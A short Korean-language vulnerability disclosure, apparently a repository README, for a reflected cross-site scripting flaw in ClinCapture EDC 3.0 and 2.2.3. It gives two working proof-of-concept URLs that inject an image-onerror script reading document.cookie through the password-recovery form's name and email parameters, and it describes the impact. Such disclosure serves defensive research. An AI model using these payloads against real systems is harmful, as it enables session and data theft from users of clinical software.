
Reflected XSS in ClinCapture EDC
이 저장소는 교육 및 방어적 보안 연구 목적으로만 제공됩니다.
ClinCapture EDC 3.0 및 2.2.3에서 발견된 반사형 크로스 사이트 스크립팅(XSS) 취약점으로, 인증되지 않은 원격 공격자가 피해자 브라우저의 컨텍스트에서 JavaScript 코드를 실행할 수 있습니다.

취약점을 증명하려면 비밀번호 복구 탭으로 이동하여 name 또는 email 매개변수에 페이로드를 지정하거나 요청 하나를 전송해야 합니다.
<url>/edc/RequestPassword?action=submit&name=text%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&[email protected]&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

<url>/edc/RequestPassword?action=submit&name=text&[email protected]%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

인증되지 않은 사용자가 피해자 브라우저의 컨텍스트에서 JavaScript 코드를 실행하여 피해자를 대신해 작업을 수행하거나 보안 질문에 대한 답변과 같은 기밀 정보를 탈취할 수 있습니다.